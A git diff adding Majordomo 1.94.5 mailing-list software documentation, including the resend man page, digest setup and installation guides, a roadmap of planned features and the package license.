+doesn't like is sent to the list owner (the +"-f" address, or "-owner" if -f isn't used) along with a +comment indicating what "resend" didn't like about it. To go ahead +and send the message, just feed it to resend without the flag that +caused it to reject it (in other words, if it rejected it because it +was too long, omit the "-M <>" flag; if it rejected it because it was +administrivia, omit the "-s" flag). +.LP +If you specify "-a " flag, this "approval" password can be +used in an "Approved: " line to override most of the other +checks (those enabled by "-s", "-M", and so forth). The "Approved: +" line can either be one of the mail headers, or the first +line of the body of the message. If it is in the headers, the rest +of the headers are resent as part of the approved message. If it is +in the body, the current headers are discarded in favor of the headers +from the original message which should follow the "Approved:" line in +the body. +.LP +The owner of a mailing list can thus post messages that were initially +bounced by adding an "Approved: " line and resubmitting the +message. Any "Approved: " line is stripped before the message +is sent to the mailing list, so that list members won't learn the +password. If the argument to the "-a" flag begins with a "/", +it is assumed to be a file name from which the actual password is read. +.LP +You can make a list "moderated" by specifying the "-A" flag. If the +"-A" flag is set, then any messages not containing a valid "Approved:" +line are sent to the list owner, rather than the whole list.; the +list owner can then review the message, add an appropriate "Approved:" +line, and resubmit them (these last two steps can be done easily with +the "approve" command that comes with Majordomo). If you specify +the "-A" flag, you must also specify the "-a " flag, so that +resend knows what approval password to use. +.LP +If you only want to accept messages from members of a list, you can +use the "-I " flag to do this. "" should be a +colon-separated list of files in the $listdir directory (specified in +the config file) that "resend" will check the address in "From:" line +of a message against. If the address doesn't show up in one of those +files, and the message doesn't have a valid "approved" header on it, +it will be bounced to the list owner. +.LP +.SH OPTIONS +The following options can be used with resend: +.LP +.TP 10 +.B \-A +Approve; enable list moderation by requiring an Approved: header to be +present in the message before resending. Messages without an Approved: +header will be redirected to the list owner for approval. +.TP +.B \-C config-file +Alternate configuration file; tell resend to use the file +.TP +.B config-file +instead of the default list-name.config. +.TP +.B \-I file-list +Include; ensure that the message sender (as represented in the From: +line of the incoming message) is in one of the file(s) specified in +.BR file-list . +.B file-list +may contain multiple colon separated pathnames. Each pathname should +point to a file that contains a sendmail-style mailing list. +.TP +.B [\-M max-msg-length] +Maximum; Specify the maximum length of the relayed message in octets. +.TP +.B [\-R] +Delete the "Received:" lines in the incoming message header. This can +make the relayed messages considerably shorter at the expense of +losing some potentially interesting debugging information. +.TP +.B [\-a passwd_file] +Specify the pathname of the file containing the approval password for +the list. This password is used to check Approved: headers when +relaying messages to lists that are marked as moderated through the +.B \-A +option above. +.TP +.B [\-d] +Debug; print what would be done, but don't do it. +.TP +.B [\-f from-addr] +Set the From: address to +.B from-addr +.TP +.B [\-h host-name] +Set the name of the local host to +.BR host-name . +This name will be used in the From: and To: lines when updating the +headers. +.TP +.B \-l list-name +Specify the name of the mailing list as +.BR list-name . +This option is required, as +.B resend +uses this name to derive the names +of many other files. +.TP +.B [\-n] +Assign a sequence number to each message as it comes through. The next +sequence number is stored in the file lists/list-name.seq. If the +string $SEQNUM is found in the $subject-prefix configuration variable, +it is replaced with the current sequence number. Thus, a +$subject_prefix of "($LIST $SEQNUM)" would render a Subject: line of +(list-name sequence-number). +.TP +.B [\-p precedence] +Set the Precedence: header to +.BR precedence . +.TP +.B [\-r reply-to] +Set the Reply-To: header to +.BR reply-to . +.TP +.B [\-s] +Administrivia; Search the message for strings commonly found in +administrative messages send to majordomo mailing lists (e.g. +subscribe, unsubscribe). If these are found in the first 10 or so +lines of the message, the message will be relayed to the list owner +instead of being sent on to the mailing list. +.SH OPERANDS +.TP 10 +.B destination +The alias to which to redirect the message if it is a proper list +submission. +.LP +.SH CONFIGURATION +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.TP +.B lists/list-name.config +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Shane McCarron . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man new file mode 100644 index 0000000..7f21d81 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man @@ -0,0 +1,264 @@ + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + NNNNAAAAMMMMEEEE + resend - resend messages after evaluation + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + rrrreeeesssseeeennnndddd [[[[----AAAA]]]] [[[[----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee]]]] [[[[----IIII ffffiiiilllleeee----lllliiiisssstttt]]]] [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg---- + lllleeeennnnggggtttthhhh]]]] [[[[----RRRR]]]] [[[[----aaaa ppppaaaasssssssswwwwdddd]]]] [[[[----dddd]]]] [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + ----llll lllliiiisssstttt----nnnnaaaammmmeeee [[[[----nnnn]]]] [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] [[[[----ssss]]]] + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + rrrreeeesssseeeennnndddd is a perl script that is usually used to redirect + mail messages to a mailing list after evaluating and parsing + the headers. Mail is "resent" by handing it off to the + mailer again with an alternate destination as specified by + the final operand. + + Any message that rrrreeeesssseeeennnndddd doesn't like is sent to the list + owner (the "-f" address, or "-owner" if -f isn't + used) along with a comment indicating what "resend" didn't + like about it. To go ahead and send the message, just feed + it to resend without the flag that caused it to reject it + (in other words, if it rejected it because it was too long, + omit the "-M <>" flag; if it rejected it because it was + administrivia, omit the "-s" flag). + + If you specify "-a " flag, this "approval" password + can be used in an "Approved: " line to override most + of the other checks (those enabled by "-s", "-M", and so + forth). The "Approved: " line can either be one of + the mail headers, or the first line of the body of the + message. If it is in the headers, the rest of the headers + are resent as part of the approved message. If it is in the + body, the current headers are discarded in favor of the + headers from the original message which should follow the + "Approved:" line in the body. + + The owner of a mailing list can thus post messages that were + initially bounced by adding an "Approved: " line and + resubmitting the message. Any "Approved: " line is + stripped before the message is sent to the mailing list, so + that list members won't learn the password. If the + argument to the "-a" flag begins with a "/", it is assumed + to be a file name from which the actual password is read. + + You can make a list "moderated" by specifying the "-A" flag. + If the "-A" flag is set, then any messages not containing a + valid "Approved:" line are sent to the list owner, rather + than the whole list.; the list owner can then review the + message, add an appropriate "Approved:" line, and resubmit + + + + Page 1 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + them (these last two steps can be done easily with the + "approve" command that comes with Majordomo). If you + specify the "-A" flag, you must also specify the "-a + " flag, so that resend knows what approval password + to use. + + If you only want to accept messages from members of a list, + you can use the "-I " flag to do this. "" should be a colon-separated list of files in the + $listdir directory (specified in the config file) that + "resend" will check the address in "From:" line of a message + against. If the address doesn't show up in one of those + files, and the message doesn't have a valid "approved" + header on it, it will be bounced to the list owner. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + The following options can be used with resend: + + ----AAAA Approve; enable list moderation by requiring an + Approved: header to be present in the message + before resending. Messages without an Approved: + header will be redirected to the list owner for + approval. + + ----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Alternate configuration file; tell resend to use + the file + + ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + instead of the default list-name.config. + + ----IIII ffffiiiilllleeee----lllliiiisssstttt + Include; ensure that the message sender (as + represented in the From: line of the incoming + message) is in one of the file(s) specified in + ffffiiiilllleeee----lllliiiisssstttt. ffffiiiilllleeee----lllliiiisssstttt may contain multiple colon + separated pathnames. Each pathname should point to + a file that contains a sendmail-style mailing + list. + + [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg----lllleeeennnnggggtttthhhh]]]] + Maximum; Specify the maximum length of the relayed + message in octets. + + [[[[----RRRR]]]] Delete the "Received:" lines in the incoming + message header. This can make the relayed messages + considerably shorter at the expense of losing some + potentially interesting debugging information. + + [[[[----aaaa ppppaaaasssssssswwwwdddd____ffffiiiilllleeee]]]] + Specify the pathname of the file containing the + approval password for the list. This password is + + + + Page 2 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + used to check Approved: headers when relaying + messages to lists that are marked as moderated + through the ----AAAA option above. + + [[[[----dddd]]]] Debug; print what would be done, but don't do it. + + [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] + Set the From: address to ffffrrrroooommmm----aaaaddddddddrrrr + + [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + Set the name of the local host to hhhhoooosssstttt----nnnnaaaammmmeeee. This + name will be used in the From: and To: lines when + updating the headers. + + ----llll lllliiiisssstttt----nnnnaaaammmmeeee + Specify the name of the mailing list as lllliiiisssstttt----nnnnaaaammmmeeee. + This option is required, as rrrreeeesssseeeennnndddd uses this name + to derive the names of many other files. + + [[[[----nnnn]]]] Assign a sequence number to each message as it + comes through. The next sequence number is stored + in the file lists/list-name.seq. If the string + $SEQNUM is found in the $subject-prefix + configuration variable, it is replaced with the + current sequence number. Thus, a $subject_prefix + of "($LIST $SEQNUM)" would render a Subject: line + of (list-name sequence-number). + + [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] + Set the Precedence: header to pppprrrreeeecccceeeeddddeeeennnncccceeee. + + [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] + Set the Reply-To: header to rrrreeeeppppllllyyyy----ttttoooo. + + [[[[----ssss]]]] Administrivia; Search the message for strings + commonly found in administrative messages send to + majordomo mailing lists (e.g. subscribe, + unsubscribe). If these are found in the first 10 + or so lines of the message, the message will be + relayed to the list owner instead of being sent on + to the mailing list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + The alias to which to redirect the message if it + is a proper list submission. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + lllliiiissssttttssss////lllliiiisssstttt----nnnnaaaammmmeeee....ccccoooonnnnffffiiiigggg + + + + Page 3 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Shane + McCarron . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 4 (printed 12/10/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup b/update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup new file mode 100644 index 0000000..70802c3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup @@ -0,0 +1,105 @@ + +QUICK DIGEST SETUP: + +For the purpose of example, let's say that you have a majordomo list +called "banjo" and that you want to create "banjo-digest". + +1. You need to create two directories: the digest's work directory + and the digest's archive directory. They CAN'T be the same directory. + + Where should these directories be created? Look in your majordomo.cf + file to see how these three variables are defined: $digest_work_dir, + $filedir, $filedir_suffix. Let's say they look like this: + + $digest_work_dir = "/usr/local/mail/digest"; + $filedir = "/usr/local/mail/files"; + $filedir_suffix = ".archive"; + + That being the case, you must create these two directories: + + /usr/local/mail/digest/banjo-digest + /usr/local/mail/files/banjo-digest.archive + + The first is the work directory, the second is the archive directory. + + Make sure that majordomo has write permission on both directories. + + +2. You must create a majordomo list called "banjo-digest". + + In most respects it is just like any ordinary list, but when you + set up the configuration file (banjo-digest.config), you will + have to configure these parameters: + + digest_issue = 1 + digest_name = Banjo Digest + digest_volume = 1 + digest_maxdays = + digest_maxlines = + maxlength = 40000 + message_footer << END + END + message_fronter << END + END + + Remember that these variables are in banjo-digest.config, NOT banjo.config. + + Also, do NOT touch the variables digest_archive, digest_rm_header, etc. + + Both digest_issue and digest_number should start at 1 unless you have + some special reason to do otherwise. The digest name should be an + obvious choice, but don't make it longer than 24 characters. + + "maxlength" is the maximum size in characters (bytes) for a digest. + "digest_maxlines" is the maximum number of lines in a digest. + "digest_maxdays" is the maximum age in days of an article in a digest. + + The last two parameters are optional, but maxlength must be defined. + A digest will automatically be created if any one of the three limits + is exceeded. + + You can put this sort of material in the header or footer: + +message_fronter << END +In this issue: +- +- _SUBJECTS_ +- +See the end of the digest for information about banjo-digest. +END + + Note that you need to indicate blank lines by placing a '-' + character at the beginning of the line. You also indicate + whitespace at the beginning of a line by putting a '-' in + front of the whitespace. + + The _SUBJECTS_ token will be expanded to all of the subject lines + of the messages in the digest, one subject per line. + +3. Create some aliases. + + You need to add to the banjo-outgoing alias: + + banjo-outgoing: :include:/path/to/lists/banjo, banjo-digestify + + and then you need the banjo-digest aliases: + + banjo-digestify: "|/path/to/wrapper digest -r -C -l banjo-digest banjo-digest-outgoing" + + banjo-digest: banjo + banjo-digest-outgoing: :include:/path/to/lists/banjo-digest + owner-banjo-digest-outgoing: harry + banjo-digest-approval: harry + +4. Add a cron job. + + If you want digests to be created at regular intervals, put this + line in your cron table: + + echo mkdigest banjo-digest pluck | mail majordomo@mj.server.com + + ("pluck" is the digest's password). + +5. Test it! + + diff --git a/update/scripts/packages/majordomo-1.94.5/FUTURE b/update/scripts/packages/majordomo-1.94.5/FUTURE new file mode 100644 index 0000000..1371baa --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/FUTURE @@ -0,0 +1,229 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94 + FUTURE + -------------------------------------------------------------------------- + +* Where is Majordomo headed? +---------------------------- + +In it's current release, 1.94, Majordomo is a stable, yet tangled, +collection of code. As the README says... + + Along the way, it has picked up many features and additions + from various authors. Because of this, and due to the initial + design of Majordomo, certain features (archiving, digesting, + and moderated lists) are currently done in a "non-optimum" + fashion. In short, configuring Majordomo to do some of the + advanced features can be confusing. This is a known problem + and is being worked on. + + +Perhaps it would be enlightening to start with a vision of what +Majordomo should look like in the future, and then expand on the +vision. + + 1) Interaction with Majordomo should be easier; for the list user, + the list owner, and the Majordomo owner. This means an + integrated Web interface, as well as a better mail interface. + + 2) Existing facilities should be integrated better. Archiving and + digesting need integration. + + 3) Access to Majordomo functions and lists should be extensively + configurable, assignable, and easy to control. + + 4) Improvements to adequately handle large lists, and large numbers + of lists. + + 5) Majordomo "plugins", configurable down to a per-list basis. + Hooks for pre & post operations to commands. (ie, substitute a + different method of access checking for certain lists.) + + 6) Reduce, if possible, the morass of aliases needed for a large + Majordomo installation. + + 7) Consider the potential of integrating bulkmailer, TLB, or another + delivery agent into MD for large lists. + + +Now, how are we going to get from here to there? That's the tough +question. + +The first step is to require perl5. This gives us heaps of good +stuff, and will potentially greatly reduce the tangle of current +code. + +Next, abstract, define, and API-ize the core bits. This is where the +hooks to allow custom routines would come in, as well as allowing +drop-in plugins. Archiving and digesting are perfect examples of +this; these are basically post and pre sending operations. + +API-izing things basically enables all the rest to be done easily and +coherently, allowing for the seperate development of some quite useful +features: + o using a DBM database, or perl5 file-struct for all list + configs. + o well-integrated pluggable web interface + o a queue mechanism for busy servers. + o fine-grained access control + o customized address matching + o post and pre Majordomo, List, and Command hooks + o subscriber level features, such as digesting and encryption. + +Some other ideas that come from brainstorming a bit on the MD vision: + + o Group Lists: Define a collection of lists, and manage them + the same way, with the same owners. A 'leader list' would + have 'leader variables' that the other lists 'follow'. + + o From a different viewpoint, Group Lists is simply ownership + delegation. Put Majordomo-owner at the top: + + Mojo Hierarchy + -------------- + Mojo God: All lists + | + Group God: Some lists or commands + | + Command God: Some commands + | + List God: One list + | + Variable God: Some variables + + + o Command queuing: Either plain, ala sendmail, or 'alarm + clocking' -- queue commands, then process when the requests + stop for a certain period. Or perhaps... + + o Majordomo Server. Likely run from inetd, this would be an + interesting way of solving the startup overhead. + + +Now, will all these happen at once? No, not unless someone spends +some development money. What's far more likely is an incremental +change, creaping up to a fabled Majordomo 2.0 knows all, sees all. +Broken down into manageable chunks, I see the following rough order +happening: + + Perl5. APIs, abstraction, and definition of the 'interface + layer' to Majordomo. Perl5 modules replacing bits of + majordomo, and conversion of internal functions to the API. + + Hook implementation. Web interface. Integration of archiving, + digesting. Group Lists, ownership delegation. Access lists. + + Plugins. Database backend for lists, subscribers. Custom + operators. Backend delivery support. + + +Now, by all means, this isn't a complete list. Rather, it's a +compilation of the various ideas that have floated around the +majordomo-workers list and the majordomo developers. + +What is greatly desired is to have the necessary core bits to allow +development of other features to happen in parallel. This could +follow the perl5 module design, with signup of projects to interested +parties. + +Below here is Section 5 of the old README file (1.92), kept as a +placeholder for known bugs as well as random ideas. + +---------------------------------------------------------------------- + +The next major planned release will be majordomo 2.0. The +specification document has been written for it, and is is in the +process of being written. The intent with 2.0 is to have a defined +programmers interface that allows people to develop portable modules +that can be added into majordomo to provide additional +functionality. If you think of majordomo as a stripped down car, and +the addin modules as extra options that you can "buy", then you have +the right idea. Majordomo 1.9x is being released to test the config +file code, and because some of the resend and majordomo features seem +to be needed by people on the majordomo-users list. + +Before the next planned release, there may be other releases in the +1.9x series as bugs are found, and as additional functionality that is +currently hinted at in the config file is added. + +5.1.1 Bugs/Misfeatures/Todo + +The following is a list of things that I want to address at some +point. The items marked with a * imply that patches to implement the +feature have been written, but it is too late in this cycle to apply +the patch and test it. Hopefully some of these items will be fixed +in later versions of majordomo 1.9x. + + 1) Resend only recognizes an Approved: header as the first line in the body. + The approved header should be recognized if it is the first non-blank + line in the body. [[[ fixed in 1.94 ]]] + + 2)* Resend should have a separate moderater address to bounce email to + + 3) Multiple privacy levels have to be provided. yes, no, password protected + + 4) The number of reported hits from which should be tunable + + 5) approve has to be extended to handle almost all commands + + 6) new-list should be part of resend + + 7)* wrapper.c should use sysexits.h for its error codes + [[[ fixed in 1.94 ]]] + 8) auto lists should prevent the list from being subscribed to itself + + 9)* auto lists should make sure that listserv style addresses aren't used + [[[ fixed in 1.94 ]]] +10) provide the ability to smash case of all incoming addresses under + majordomo administrator control. + +11) ability to specify banned users whose posts are ignored. + [[[ fixed in 1.94 with taboo_headers ]]] +12) rework the advertise/noadvertise interface + +13) Look at supporting #included/#exploder lists for mail sublists. + +14) set up reply to be smart enough to break mail loops + (using received: headers) + +15) should -h not be required by resend, or should resend_host keyword go + away? + +16) config should return the input file if there is an error. + +17) digest needs to strip headers and footers from list info. Maybe there + should be a back channel out of resend that doesn't do any + body massaging. + +18) have resend/majordomo check to see if the last Received: line is a + right hand sub/super string of the user's from address. + +19) fix help messages to remove syntax diagram info to stop address + subscriptions like: subscribe list [user@site] + +20)* Support auto digest creation based on number of lines, and age. + +21) Have resend log messages as it sends them through. Can be used to + prevent mail loops as well as provide stats for later use. + +22) analyze code to make sure all areas that require locks are in place + +23) detect error condition (e.g. out of disk space) and deal with them better + [[[ fixed in 1.94 ]]] +24) add code to support incremental config file changes. + +25) add ability to add arbitrary headers to message and check that the + headers are in the proper form. + +26) add the ability to do load limiting of majordomo commands + +27) RCPT messages shouldn't be bounced as administrivia. They should be + in a different class, and should be user settable. + +28) digest always needs to have its archive directory present. Digest + should be rewritten to place its outgoing digest into the + incoming directory, and it should use archive to do archiving if + need be. diff --git a/update/scripts/packages/majordomo-1.94.5/INSTALL b/update/scripts/packages/majordomo-1.94.5/INSTALL new file mode 100644 index 0000000..d247dc9 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/INSTALL @@ -0,0 +1,187 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.5 + INSTALL + -------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <-- +-> read the NEWS and Changelog for details on what has changed <-- +-> between versions of Majordomo. <-- + + -------------------------------------------------------------------------- + +** SECURITY ALERT ** + + The default installation of Majordomo, including the checks that +config-test does, WILL NOT RESULT IN A SECURE INSTALLATION. In +particular, the majordomo home directory and the "wrapper" program +are, by default, accessible to any user. These open privileges can be +(mis)used to change list membership, list configuration details, forge +email, perhaps even create and/or delete lists, and anything else that +the majordomo user has permissions to do. + + If Majordomo is *NOT* installed on a secured system with controlled +access (and if you are paranoid, even if it is), you will need to take +additional steps to prevent access to the majordomo directories. +Usually, changing the privileges of the majordomo home directory to be +0750 fixes these problems, but creates the additional burden of +needing to configure the MTA (sendmail, qmail, exim) properly so that +it can read and execute "wrapper". Such configuration is beyond the +scope of this install document, and is left to the FAQ (Doc/FAQ, +Doc/majordomo-faq.html) and the support group +majordomo-users@greatcircle.com to answer. + +** SECURITY ALERT ** + + +UPGRADING: +---------- + +If you're upgrading from a release before 1.94.4, you'll need to either do +a clean install or patch your 1.94.X to 1.94.4 using the patches found at +ftp://ftp.greatcircle.com/pub/majordomo. Then... + +Folks upgrading from 1.94.4 to 1.94.5 have three options: + +1) A clean install. See below. + +2) Patch your _distribution_ of 1.94.4 to 1.94.5: + + % cd distribution/majordomo-1.94.4 + % patch < ...../patches/majordomo-1.94.5/1.94.4-to-1.94.5-patch + + If there are no *.rej files, do a 'make install'. Otherwise, examine + each .rej file and merge the changes in by hand. + +3) Patch your _installation_ of 1.94.4 to 1.94.5: + + % cd /usr/majordomo (ie, where you've installed majordomo) + % patch < ....../majordomo-1.94.5/patches/1.94.4-to-1.94.5-installed-patch + + If there are no *.rej files, you're done! Otherwise, examine + each .rej file and merge the changes in by hand. + + -------------------------------------------------------------------------- + +Steps to do a clean installation of Majordomo: + +1) Pick a group and user ID for Majordomo to run under. Usually this + is "majordomo.daemon". If you're this group, you can do all the + majordomo management functions (creating new lists, etc.) without + having to "su" to Majordomo. You can create and use a group other + id than "daemon" if you want, but if you do, that UID needs to + be a "trusted" user as far as Sendmail is concerned (i.e., the user + name needs to appear on a "T" line in your sendmail.cf file). + + +2) Choose a directory for Majordomo to install into. This must _NOT_ + be the same directory you untarred the Majordomo files into or a + symbolic link to it. + +3) Edit the Makefile, defining where Perl and the C compiler are, the + Majordomo home directory (chosen in step 2), the location of the + manual pages, the user and group that Majordomo will run under, and + the permissions for the various files and directories. If running on + a non-POSIX system, comment out the POSIX SECTION in the Makefile. + Under POSIX, wrapper must be setuid "root", even if the programs will + be running as something other than "root" (i.e., "daemon"), or it + won't work. The symptom of this is that Perl starts complaining about + security violations and "unsafe usages". + +4) Edit majordomo.cf. + + If this is a new install, copy sample.cf to majordomo.cf first. + + This .cf file is "require"ed into majordomo, so it needs to be valid + Perl. Here are the important variables to set: + + $whereami What machine am I on? + $whoami Who do users send requests to me as? + $whoami_owner Who is the owner of the above, for problems? + $homedir Where can I find my extra .pl files? + $listdir Where are the mailing lists? + $log Where do I write my log? + $sendmail_command Where the sendmail program resides. + $mailer What program and args do I use to send mail to the + lists? + $bounce_mailer What program and args do I use to send administrative + messages? + + If this is an upgrade, examine sample.cf for new configuration + variables to place in your existing majordomo.cf. Alternately, running + config-test after the installation is complete will show all the + variables that are missing. + +5) Do a 'make wrapper' to verify that the wrapper program compiles + cleanly. + +6) Do a 'make install' to install the Majordomo programs. This must be + done either as root or as the Majordomo user in order to properly set + the ownership of the various files and directories. + +7) Do a 'make install-wrapper' as root to install the wrapper. This must + be done as root because wrapper must be installed setuid and on POSIX + systems must be owned by root. The wrapper takes care to severely + restrict the programs which may be run by it and further restricts the + environment those programs run with. + +8) Add the majordomo-related aliases to your Sendmail alias file. + This can either be /etc/aliases, or if you are using a more recent + version of Sendmail (8.6 or above) a cleaner approach is to add an + alias file specifically for Majordomo aliases by adding another + "OA" line to /etc/sendmail.cf: + + OA/path/to/majordomo/majordomo.aliases + + If you use the M4 configuration system of recent sendmails, you can add + the following line to your .mc file to achieve the same effect: + + define(`ALIAS_FILE',`/etc/aliases,/path/to/majordomo/majordomo.aliases') + + Whichever method chosen, add the following aliases for Majordomo + itself: + + majordomo: "|/path/to/majordomo/wrapper majordomo" + owner-majordomo: you, + majordomo-owner: you + + Note the program name (majordomo) after wrapper must not be a full path + name. Also look at 'majordomo.aliases' for additional examples. + +9) Chdir to the Majordomo home and (as a regular, unprivileged user, not + the Majordomo user or root) run the configuration test script: + + % cd /path/to/majordomo + % ./wrapper config-test + + This should check for the proper configuration of Majordomo. Fix + any errors, and run again. When the process is complete and there are + no errors, config-test will offer to register your installation of + Majordomo by sending information on your operating system, your Perl + version, and the address of the Majordomo owner to the Majordomo + maintainers. A copy of the message will also be sent to the Majordomo + owner at your site. + + Note that if you have a setup which uses more than one configuration + file, you can have config-test check them by calling it with the name of + an alternate configuration file, like so: + + % ./wrapper config-test alternate.cf + +10) Test the configuration again by creating an empty file 'test' in + $listdir, and issue a 'lists' command to Majordomo: + + % touch /path/to/majordomo/lists/test + % echo 'lists' | mail majordomo + + If everything is working correctly, you should get a message back + from Majordomo, and not Mailer-Daemon. + +11) Browse the Frequently Asked Questions (Doc/FAQ), it can answer + many questions that you might have. + +That's it! To create new lists, read the NEWLIST file. + + diff --git a/update/scripts/packages/majordomo-1.94.5/LICENSE b/update/scripts/packages/majordomo-1.94.5/LICENSE new file mode 100644 index 0000000..46e954e --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/LICENSE @@ -0,0 +1,142 @@ + MAJORDOMO LICENSE AGREEMENT + + + Version 1.1 + 18 May 96 + +Great Circle Associates (GCA) is the original developer of Majordomo, +a package for managing Internet mailing lists. Since its initial +release, many organizations and individuals have contributed +enhancements and fixes, but the original copyright has been retained +by Great Circle Associates. + +Majordomo is distributed in source code form, with almost all +modules written in Perl (there is one small C program), and runs +on many UNIX platforms. Majordomo is not a supported product of +Great Circle Associates, but is made available for use on the following +basis. + +GCA grants you a license as follows to the Majordomo package: + + 1. LICENSE. GCA grants you a non-exclusive, non-transferable +license for the Majordomo package ("Majordomo") and its associated +documentation, subject to all of the following terms and conditions. +In accepting a copy of Majordomo you agree to the following terms +and conditions. + + This license permits you to use, copy, and modify Majordomo +solely for your organization's use. + + 2. LIMITATIONS ON LICENSE. + + a. You may only use, copy, and modify Majordomo + as expressly provided for in this Agreement. + You must reproduce and include this Agreement, and + GCA's copyright notices on any copy and its + associated documentation. + + b. No part of Majordomo may be incorporated into any + program or other product that is sold, or for which any + revenue is received without written permission of + Great Circle Associates, with the following exceptions: + + You may install Majordomo at your site and run + mailing lists for other using it, and charge for + that service. + + You may install Majordomo at other sites, and + charge for your time to install, configure, + customize, and manage it. + + You may charge for enhancements you've made to + the Majordomo software, subject to the distribution + restrictions listed below. + + You may not charge for the Majordomo software + itself. + + A commercial license will be required in all other cases. + + c. If Majordomo is being provided or configured for a + customer, the provider must clearly state in + documentation and bid/proposal materials that the + Majordomo technologies are licensed and provided + by Great Circle Associates, and a copy of this + license must be included with the configured + system. + + d. Majordomo, if modified, must carry prominent notices + stating that changes have been made, and the dates of + any such changes. + + You may publicly distribute an unmodified and + complete version of Majordomo, for instance as + part of a collection of free software packages, + but you must distribute the whole package, and + you must tell people where they can obtain the + latest version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + You may not publicly distribute a modified or + incomplete version of Majordomo. You may make + such a version available to your own clients, + subject to the restrictions below, but not to the + general public (for instance, by placing it on an + anonymous FTP site). + + You may not distribute (publicly or privately) a modified + version of Majordomo without clearly identifying it as such + (by changing the version string in majordomo_version.pl), + identifying the changes (through appropriate README + documentation and/or comments in the code), + identifying who will be responsible for supporting + the modified version, and informing people receiving + the modified version where they can find an + unmodified version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + e. All rights not expressly granted herein are reserved to GCA. + + 3. NO GCA OBLIGATION: You are solely responsible for maintaining +your copy of Majordomo and the security of the operating environment in +which Majordomo may be used. You are solely responsible for all of your +costs and expenses incurred in connection with the distribution of Majordomo +or any Application Program hereunder, and GCA shall have no liability, +obligation or responsibility therefor. GCA shall have no obligation to +provide maintenance, support, upgrades, or new releases to you. + + 4. NO WARRANTY OF PERFORMANCE. Majordomo and its associated +documentation are licensed "as is" without warranty as to their +performance, merchantability, or fitness for any particular purpose. +The entire risk as to the results and performance of Majordomo is +assumed by you. Should Majordomo prove defective, you assume the +entire cost of all necessary servicing, repair, or correction. + + 5. LIMITATION OF LIABILITY. Neither GCA nor any other +person who has been involved in the creation, production or delivery +of Majordomo shall be liable to you or to any other person for any +direct, indirect, special, incidental, consequential, or punitive +damages, even if GCA has been advised of the possibility of such +damages. + + 6. TERM. The license granted hereunder is effective until +terminated. This license shall automatically terminate without notice +if you breach any of the 